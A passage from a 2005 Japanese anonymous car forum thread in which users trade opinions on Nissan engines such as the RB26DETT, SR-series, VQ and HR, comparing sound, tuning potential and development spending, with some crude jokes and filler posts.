ＤＥＴはマフラー買えるとイイ音でアドレナリンが出るよ
331:名無しさん＠そうだドライブへ行こう
05/08/31 02:39:55 EB1O8kDk0
RB26DETTって結局チューン前提のエンジンでしょ？
そういう車を平気で市販していた日産って・・・
332:名無しさん＠そうだドライブへ行こう
05/08/31 08:07:50 /fB1oDD30
節操がないか
333:名無しさん＠そうだドライブへ行こう
05/08/31 10:27:41 0Y/Jxg+J0
>>328
あの荒削りな音がいいんでないの？
回せばまわすほどエキサイチングだわ。
咆哮って感じ。
334:名無しさん＠そうだドライブへ行こう
05/08/31 10:58:01 gBVpvXGK0
ウンコで出来ているからちゃう？
335:名無しさん＠そうだドライブへ行こう
05/08/31 16:04:24 ezEFgykT0
.
336:名無しさん＠そうだドライブへ行こう
05/08/31 16:48:36 CosRhwhl0
いろいろ問題アリと分かっててもＲＢの音は魅力的だった。
前Ｚ３３乗ったけどＲＢと比べるとなんかガサツな音だったよな。
ＳＲ１６ＶＥのに乗ってるのいるけど他のテンロクと比べると音は
イマイチだがそれでも結構いい感じだったと思う。
337:名無しさん＠そうだドライブへ行こう
05/08/31 18:03:39 0l5qlrkE0
SR20ならボアストローク同じだから、いいとこどりなんだけどな。
338:名無しさん＠そうだドライブへ行こう
05/08/31 19:39:25 ezEFgykT0
.
339:名無しさん＠そうだドライブへ行こう
05/08/31 22:07:25 eUM0xUNI0
SR30DE乗ってるけど結構いいよ。
340:名無しさん＠そうだドライブへ行こう
05/08/31 22:22:40 ezEFgykT0
.
341:名無しさん＠そうだドライブへ行こう
05/08/31 23:15:27 IVxtY8vv0
>>332
ポリシーはあるか？
342:名無しさん＠そうだドライブへ行こう
05/08/31 23:58:32 eAE74bE60
日産にはないな
343:名無しさん＠そうだドライブへ行こう
05/09/01 03:04:04 79C2h8iZ0
/
344:名無しさん＠そうだドライブへ行こう
05/09/01 03:52:23 mf/RGYTtO
日産のエンジンはサヨおなら
345:名無し
05/09/01 04:54:12 i29UQlzuO
日産のエンジンの中でHR15DEエンジンはいいエンジンです
まあ実用エンジンとしてですが
346:名無しさん＠そうだドライブへ行こう
05/09/01 11:09:10 JHfmU5KT0
.
347:名無しさん＠そうだドライブへ行こう
05/09/01 14:24:11 eNjQPM3W0
>>331
そんなこと言ったらﾖﾀの2JZ-GTE(1JZも?)もそうだろ
348:名無しさん＠そうだドライブへ行こう
05/09/01 16:22:35 JHfmU5KT0
.
349:名無しさん＠そうだドライブへ行こう
05/09/01 16:44:52 CsxWz8xi0
一世代前のエンジンはともかく、今の日産V6エンジンはダメだね。
安く作ってあるのがよく分かる。
350:名無しさん＠そうだドライブへ行こう
05/09/01 17:41:50 qSK+g8KU0
RBにしろヨタJZにしろ、別にチューン前提でもないだろ。
ノーマルでも良く出来たエンジンだったと思うが。
まあ過去のエンジンだがね。
351:名無しさん＠そうだドライブへ行こう
05/09/01 22:54:17 H43Boud80
RB26はおもいっきりグループA前提だろ。疑う余地も無く。
352:E60 M5 Individual
05/09/02 01:01:41 wQwQoZb10
>>351
排気量からしてな・・・。 2.85、2.7辺りは、ずばり、Gr.Aだし。
353:名無しさん＠そうだドライブへ行こう
05/09/02 17:33:05 vKxXhoSu0
日産のクルマはつまらなくなったな・・・
354:名無しさん＠そうだドライブへ行こう
05/09/02 17:46:29 GAeTNn+/0
そこで、プリンス復活ですよ
355:名無しさん＠そうだドライブへ行こう
05/09/02 17:58:49 pqV0bIAh0
チェリーも一緒に
356:名無しさん＠そうだドライブへ行こう
05/09/03 01:11:15 jN3Vf5o60
さっきＴＶで言ってたけど、日産の開発費は4500億円らしい
（ちなみにトヨタ6800億円、ホンダ5200億円）
競合他社に匹敵する開発費をかけながらあんな糞なエンジンしか作れないのは
どういうこと？
エンジンを重視してないのか、それともただ作れないだけか？
357:名無しさん＠そうだドライブへ行こう
05/09/03 01:46:43 HfzZPlt40
VQって失敗作じゃなかったのか？
あまりにも多くの車に使われてるが、そろそろ
2.5～3.5Lは新エンジンを作っても良いのでは？
HRはまあまあだけどな。
MRは・・・糞か。
CR・・・最初からHRにしとけよ、存在価値無し。